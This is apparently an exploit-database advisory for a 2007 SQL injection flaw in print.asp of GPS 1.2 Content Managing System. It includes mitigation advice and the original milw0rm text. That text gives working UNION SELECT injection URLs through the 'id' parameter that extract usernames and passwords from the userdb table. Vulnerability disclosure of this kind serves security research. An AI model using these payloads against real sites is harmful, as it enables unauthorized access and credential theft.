GPS 1.2 Content Managing System (print.asp) Remote SQL Injection Vulnerability

vendor:

GPS 1.2 Content Managing System

by:

ajann

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: GPS 1.2 Content Managing System

Affected Version From: GPS 1.2 Content Managing System

Affected Version To: GPS 1.2 Content Managing System

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

GPS 1.2 Content Managing System (print.asp) Remote SQL Injection Vulnerability

The vulnerability exists in the print.asp file of the GPS 1.2 Content Managing System, allowing an attacker to inject SQL queries through the 'id' parameter. This can lead to unauthorized access and retrieval of sensitive information from the userdb table.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input before using it in SQL queries. Additionally, implementing parameterized queries or using prepared statements can help prevent SQL injection attacks.

Source

Exploit-DB raw data:

*******************************************************************************
# Title   :  GPS 1.2 Content Managing System (print.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.guox.de || http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=7227&lngWId=4
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//print.asp?id=[SQL]

Example:

//print.asp?id=-1%20union%20select%200,0,0,Benutzername,0%20from%20userdb%20where%20ID=10
//print.asp?id=-1%20union%20select%200,0,0,Passwort,0%20from%20userdb%20where%20ID=10

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-25]